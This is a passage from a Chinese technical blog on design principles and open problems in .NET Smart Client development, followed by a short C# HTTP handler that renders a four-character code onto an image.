实现这一个原则则是为了实现模块化,一个功能的实现不需要太多依赖于相关模块。仍然以上一点为例,一个.asmx文件中,除了公开主表的数据集并提供完全的操作外,一般而言,还应当提供辅助表的简单化描述(如数组描述)的只读的数据实现,这样客户端组件只需要引用一个.asmx服务便可以实现全部功能了。

 

2.      客户端的开发原则

a)      单个程序集应尽量的小

由于Smart Client通过网络加载,所以单个程序集应当尽量的小,以便快速加载。

b)     程序集间的调用原则:通过接口

既然是一套系统,各组件之间免不了要互相调用。程序集间的调用原则是尽量不要直接引用,而应当是通过接口来通信。

当然上面说的接口是一个广义的概念,应该说还是有两种实现方式:抽像类和接口。

使用抽象类的好处是,在派生类中不需要去重写所有的实现,抽象类可以完全实现,但更常见的是部分实现或者根本不实现,从而封装继承类的通用功能,但问题在于一个派生类只能从一个类中去继承。如果预计要创建组件的多个版本,则创建抽象类。抽象类提供简单易行的方法来控制组件版本。通过更新基类,所有继承类都随更改自动更新。如果要设计大的功能单元,则使用抽象类。如果要在组件的所有实现间提供通用的已实现功能,则使用抽象类。

而使用接口的一个最大的好处就是,你的类可以去实现多个接口,这样在系统开发中可以定义多个小而不同接口,开发组件时可以根据需要实现其中的一个或几个接口,就像搭积木似的,从而得到所需要的功能,但是“接口”是完全抽象的成员集合,可以被看作是为操作定义合同。接口的实现完全留给开发者去做。还有更重要的一点是:接口一旦被定义和接受,就必须保持不变,以保护为使用该接口而编写的应用程序。接口发布后,就不能对其进行更改。如果创建的功能将在大范围的全异对象间使用,则使用接口。抽象类应主要用于关系密切的对象,而接口最适合为不相关的类提供通用功能。如果要设计小而简练的功能块,则使用接口。抽象类允许部分实现类,而接口不包含任何成员的实现。

c)      关键点:接口的定义

这里专门提一下开发的关键点,接口的定义,本文看到这里,不难得出结论,Smart Client诸多优越性实现的必要条件是定义并实现一系列定义良好的接口标准。所以在系统开发时首先要做的是仔细分析并研究系统的各方面特性,制定出一套完整而规范的接口来。

创建一个接口就是在创建一个定义,接口定义发布后则永远不能更改。接口不变性是组件设计的一个重要原则,是为了保护为使用接口而编写的现有系统。设计优良的接口往往很小且相互独立,减少了性能问题发生的可能。一般情况下,应在一个接口中将紧密相关的几个功能聚合为一组。功能太多会使接口不便于运行,而过于细分功能将导致额外的系统开销并降低使用的简易性。通过添加接口来改进系统的能力使您能够获得面向对象的编程所提供的好处。

八、      Smart Client的开发难点

调试技术

Smart Client是一个不同于以往常见的应用程序的比较复杂的系统,所以它的调试技术也比以前复杂的多,至今仍然是一个难点。因为,开发的代码大都不是一个可执行的应用程序,更多的是dll库文件,这样就无法直接调试,必须得写出一个调试程序来进行间接调试。同时因为松耦合和网络加载的原因,使得本地紧耦合调试和实际运行情况多少有些不同。这一点还没有有效的解决办法。

九、      Smart Client开发需要解决的问题

1.      数据的本地缓存及更新

Smart Client是一个基于浏览器缓存机制和在线离线均可运行的应用程序,那么从理论上讲应用程序所访问过的数据也应当会在本地缓存,至于事实是否如此,还没有看到相关资料,需要进一步实验和论证。如果并没有自动缓存,那么就需要考虑编写代码实现常用数据本地缓存,毕竟一些不是常常更新的数据每次读取都到服务器上去获取一次是没有太大必要的啦(这样也体现不出Smart Client的优势来),那么采用什么方式缓存到本地,什么时候需要到服务器上更新是值得考虑一下的问题。

2.      接口定义的规范化

前面谈到了定义规范化接口的重要性,那么显然一个相当重要而且必须要得到解决的问题就是:如何定义我们的通用而规范的接口?

3.      升级程序的开发

这个问题就涉及到了前面谈到的组件的加载方式的问题,如果是采用先将组件下载到本地然后从本地加载的方式,那么就需要解决升级程序的开发这个问题,虽然说有MicrosoftUpdaterApplicationBlock,但至少我们要把它读懂并学会如何去用吧。

十、      Smart Client开发需要做的前期准备工作

俗话说,磨刀不误砍柴工,要开发出一个精良的Smart Client应用程序,少走弯路并提高以后开发时的开发效率,我建议在进行Smart Client应用程序开发之前先做好以下一些准备工作:

1.      定义通用接口

制定出一套通用而规范的应用程序组件接口来。

2.      开发通用构件

然后还应当开发好如下一些通用构件:

a)      接口集

组件间通信的接口类,根据实际需要,可以将若干个接口放在一起开发一个程序集,分门别类开发出若干个接口集来。

b)     引导程序

引导程序差不多是Smart Client中唯一的一个EXE可执行程序,它负责了整个系统的引导和维护,但是其实实现的功能很简单。

c)      本地文件读写

针对Smart Client应用的特点开发的读写客户端本地文件的通用类,其核心代码如下:

//按用户、域、程序集获取独立存储区


IsolatedStorageFile isoStore =  IsolatedStorageFile.GetStore(IsolatedStorageScope.User


         | IsolatedStorageScope.Domain | IsolatedStorageScope.Assembly, null, null);


//创建目录


isoStore.CreateDirectory("TestDir");


//创建文件


IsolatedStorageFileStream isoStream1 = new IsolatedStorageFileStream


         ("TestDir//test.txt", FileMode.Create, isoStore);


//写入文件


StreamWriter writer = null;


writer = new StreamWriter(isoStream1);


writer.WriteLine("Hello Isolated Storage");


writer.Close();


isoStream1.Close();


d)     异常处理

针对SmartClient的特点开发的异常处组件,其中要多一些对网络异常状况(如网络不通等等)的处理。

e)      权限控制

针对Smart Client的特点开发的权限控制模块,应该说分为两个部分,服务器端和客户端。服务器端主要是开发一个WebServices身份验证模块,客户端则要处理与服务器端身份验证模块的通信和自身的权限控制功能(如在离线工作时)。

2005年05月09日

 

using System;
using System.Web;
using System.Drawing ;
 /// <summary>
 /// Png 的摘要说明。
 public sealed class LocalPng:IHttpHandler    
 {
  #region IHttpHandler 成员  
  
  public  void ProcessRequest(HttpContext context)
  {
   if(context.Request["key"]!=null&&context.Request["key"].Length ==4)//还有ACSSI码是1-9的数字和a-z的字母
   {
    string machine_key=context.Request["key"];
    context.Response.Clear(); 
    try
    {  //原图
     Bitmap sImage = new Bitmap(context.Server.MapPath("key.png.bmp"));   //图片路径  
     //验证码图    
     Graphics wg = Graphics.FromImage(sImage);       
     wg.DrawString(machine_key,new Font("Comic Sans MS",14),new SolidBrush(Color.RoyalBlue),3,0);     
     wg.Save();   
     context.Response.ContentType = "image/Jpeg";
     sImage.Save(context.Response.OutputStream,System.Drawing.Imaging.ImageFormat.Jpeg);   
     wg.Dispose();   
     sImage.Dispose();   
    }
    catch(Exception e)
    {context.Response.Write(e.Message);
    }
    context.Response.End();
   
   } 
  }

  public bool IsReusable
  {
   get
   {
    // TODO:  添加 CodeKey.IsReusable getter 实现
    return false;
   }
  }

  #endregion
 }